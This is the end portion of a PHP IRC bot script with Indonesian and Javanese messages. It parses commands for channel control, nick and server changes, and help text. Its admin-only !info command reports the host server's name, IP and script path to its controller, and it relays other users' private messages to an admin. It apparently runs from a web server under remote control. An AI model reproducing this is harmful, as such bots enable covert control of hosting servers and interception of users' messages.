'. CRL); } elseif ($com[3]==':!ping' && $chan) { $sml = $smile[rand(0,count($smile) - 1)]; fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PONG! '.$sml. CRL); } elseif ($com[3]==':!info') { if ($auth["$dNick"]["status"]=="Admin") { $bhost = $_SERVER['HTTP_HOST']; $bip = $_SERVER['SERVER_ADDR']; $bphp = $_SERVER['PHP_SELF']; $bruri = $_SERVER['REQUEST_URI']; $brip = $_SERVER['REMOTE_ADDR']; $brport = $_SERVER['REMOTE_PORT']; fputs($fp,"NOTICE $dNick :Host: $bhost | Script: $bphp | Referer: $bruri | IP: $bip | Your IP: $brip Port:$brport" . CRL); } } elseif ($com[3]==':!upgrade') { if ($auth["$dNick"]["status"]=="Admin") { $bhost = $_SERVER['HTTP_HOST']; $bphp = $_SERVER['PHP_SELF']; $bruri = $_SERVER['REQUEST_URI']; $upgd = implode('',@file('http://'.$bhost.$bruri)); fputs($fp,"NOTICE $dNick :Upgrade Sukses! Exiting.." . CRL); exit(); } } elseif ($com[3]==':!up' && $chan) { fputs($fp, 'PRIVMSG chanserv :op '.$chan.' '.$nick . CRL); } elseif ($com[3]==':!down' && $chan) { fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL); } elseif ($com[3]==':!cycle' && $chan && $auth["$dNick"]["status"]!="user") { $msg = strstr($data,":!cycle"); if (ereg("#", $com[4])) { $partchan = $com[4]; $msg = str_replace(":!cycle $com[4]","",$msg); } else { $partchan = $chan; $msg = str_replace(":!cycle","",$msg); } if (strlen($msg)<3) { $msg = ''; } fputs($fp, 'PART '.$partchan.' :'.$msg . CRL); fputs($fp, 'JOIN '.$partchan . CRL); } elseif ($com[3]==':!part' && $auth["$dNick"]["status"]=="Admin") { $msg = strstr($data,":!part"); if (ereg("#", $com[4])) { $partchan = $com[4]; $msg = str_replace(":!part $com[4]","",$msg); } else { $partchan = $chan; $msg = str_replace(":!part","",$msg); } if (strlen($msg)<3) { $msg = ''; } fputs($fp, 'PART '.$partchan.' :'.$msg . CRL); $remchan = strtolower($partchan); if (in_array($remchan, $channel)) { $channels = str_replace("$remchan ","",$channels); unset($channel); $channel = explode(" ", $channels); } foreach ($channel as $v) { fputs($fp, 'JOIN '.$v . CRL); } } //elseif ($com[3]==':!join' && $com[4] && $auth["$dNick"]["status"]=="Admin") { elseif ($com[3]==':!join' && $com[4] && $auth["$dNick"]["status"]!="User") { if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; } $v = strtolower($com[4]); sleep(rand(1,6)); fputs($fp, 'JOIN '.$v . CRL); } //elseif ($com[3]==':!botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") { elseif ($com[3]==':!botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]!="User") { $nick = $com[4]; $identify = $com[5]; fputs($fp, 'NICK '.$nick . CRL); fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify. CRL); } elseif ($com[3]==':!k' && $com[4] && $chan) { $msg = strstr($data,":!k"); $msg = str_replace(":!k $com[4]","",$msg); fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL); } elseif ($com[3]==':!kb' && $com[4] && $chan) { $msg = strstr($data,":!kb"); $msg = str_replace(":!kb $com[4]","",$msg); fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL); fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL); } elseif ($com[3]==':!changenick') { $nick = $nicky[rand(0,count($nicky) - 1)]; fputs($fp, 'NICK '.$nick . CRL); if (substr($dCommand,0,3)=='433') { $nick = $nicky[rand(0,count($nicky) - 1)]; fputs($fp, 'NICK '.$nick . CRL); } } elseif ($com[3]==':!op' && $chan) { if ($com[4]) { $opnick = $com[4]; } else { $opnick = $dNick; } fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL); } elseif ($com[3]==':!deop' && $chan) { if ($com[4]) { $opnick = $com[4]; } else { $opnick = $dNick; } fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL); } elseif ($com[3]==':!v' && $chan) { if ($com[4]) { $vonick = $com[4]; } else { $vonick = $dNick; } fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL); } elseif ($com[3]==':!dv' && $chan) { if ($com[4]) { $vonick = $com[4]; } else { $vonick = $dNick; } fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL); } elseif ($com[3]==':!away' && $auth["$dNick"]["status"]=="Admin") { $msg = strstr($data,":`awaymsg"); $msg = str_replace(":`awaymsg","",$msg); if (strlen($msg)<3) { $raway="on"; fputs($fp,'AWAY : ' . 'AWAY' . CRL); } else { $raway="off"; fputs($fp,'AWAY : ' . $msg . CRL); } } elseif ($com[3]==':!mode' && $com[4] && $chan) { fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL); } elseif ($com[3]==':!nickmode' && $com[4]) { $nickmode = $com[4]; fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL); } elseif ($com[3]==':!userlist') { $userlist=""; foreach ($auth as $user) { if ($user["pass"]) { $pass="-pass ok"; } else { $pass="-no pass"; } $userlist .= $user["name"].'('.$user["status"].$pass.') '; } fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL); } elseif ($com[3]==':!quit' && $auth["$dNick"]["status"]=="Admin") { $msg = strstr($data,":!quit"); $msg = str_replace(":!quit","",$msg); if (strlen($msg)>3) { $msg = str_replace(" ","_",$msg); } $quitmsg = $quitmsglist[rand(0,count($quitmsglist) - 1)]; fputs($fp, 'QUIT ' . $quitmsg . CRL); $keluar = 1; exit; } elseif ($com[3]==':!vhost' && $auth["$dNick"]["status"]=="Admin") { if ($com[4]) { $localhost = $com[4]; } else { $localhost = 'localhost'; } $keluar = 0; fputs($fp, 'QUIT ' . CRL); } elseif ($com[3]==':!jump' && $auth["$dNick"]["status"]=="Admin") { if (empty($com[4])) { $remotehost = $remotehost2[rand(0,count($remotehost2) - 1)]; } else { $remotehost = $com[4]; } $keluar = 0; fputs($fp, "QUIT Ganti Server".CRL); } elseif ($com[3]==':!ident' && $auth["$dNick"]["status"]=="Admin") { if (!$com[4]) { $username = $username; } else { $username = $com[4]; } $keluar = 0; fputs($fp, 'QUIT Ganti Ident ' . CRL); } elseif ($com[3]==':!fullname' && $auth["$dNick"]["status"]=="Admin") { if (!$com[4]) { $realname = "--"; } else { $realname = $com[4]; } $keluar = 0; fputs($fp, 'QUIT Ganti Nama ' . CRL); } elseif ($com[3]==':!topic' && $com[4] && $chan) { $msg = strstr($data,":!topic"); $msg = str_replace(":!topic ","",$msg); fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL); } elseif ($com[3]==':!help' && !$chan) { fputs($fp,'PING 12886241614'. CRL); $msgdelay = 0; foreach ($helptext as $baris){ $msgdelay++; if($msgdelay >= 2) { sleep(2) ; $msgdelay = 0; } fputs($fp,'PRIVMSG '.$dNick.' :'.$baris. CRL); } unset($baris); unset($msgdelay); } /*** AUTO RESPONSE COMMAND BY MX **/ elseif ($com[3]==':!ngomong') { $ngomong = TRUE; $autowelcome = TRUE; if ($chan) {fputs($fp,'PRIVMSG '.$chan.' :
ACTION hahaha,seneng aku bos oleh ngoceh neh, suwon yo cok!
'. CRL); } else { fputs($fp,'NOTICE '.$dNick.' :hahaha,seneng aku bos oleh ngoceh neh, suwon yo cok! ' . CRL); } } elseif ($com[3]==':!diam') { $ngomong = FALSE; $autowelcome = FALSE; if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :
ACTION juancok we boss, yo wes tak meneng aku cok :(
'. CRL); } else { fputs($fp,'NOTICE '.$dNick.' :juancok we boss, yo wes tak meneng aku cok. ' . CRL); } } elseif ($com[3]==':!wb') { $wbn = $com[4]; $msg = strstr($data,":!wb"); $msg = str_replace(":!wb $wbn ","",$msg); $nickwb[] = array($wbn,$msg); if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :Seep! '.$wbn.' ('.$msg.')'. CRL); } else { fputs($fp,'NOTICE '.$dNick.' :Seep! '.$wbn.' ('.$msg.')'. CRL); } } } else { fputs($fp,'NOTICE '.$dNick.' :Mohon auth dulu! Ketik: auth '. CRL); } } } elseif (!$auth["$dNick"] && !eregi("auth",$iText)) { if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) { if (!ereg("#",$dCommand)) { if ($log=="on") { fputs($fp,'PRIVMSG '. $admin .' :4inviter: ' . $dFrom . '2:' .$iText. CRL); } $inv = strstr($dFrom,'@'); foreach ($auth as $user) { if ($user["status"]=="user") { fputs($fp, 'NOTICE '.$user["name"].' :
KB '.$chan.' '.$dNick.' '.$inv.'
' . CRL); } } } } elseif (!ereg("#",$dCommand) && $log=="on") { fputs($fp,'PRIVMSG '.$admin.' :6' . $dFrom . '12:' .$iText. CRL); } } } } elseif (substr($data,0,4) == 'PING') { fputs($fp,'PONG ' . substr($data,5) . CRL); } } } fclose($fp); } while ($keluar == 0); } hajar(); ?>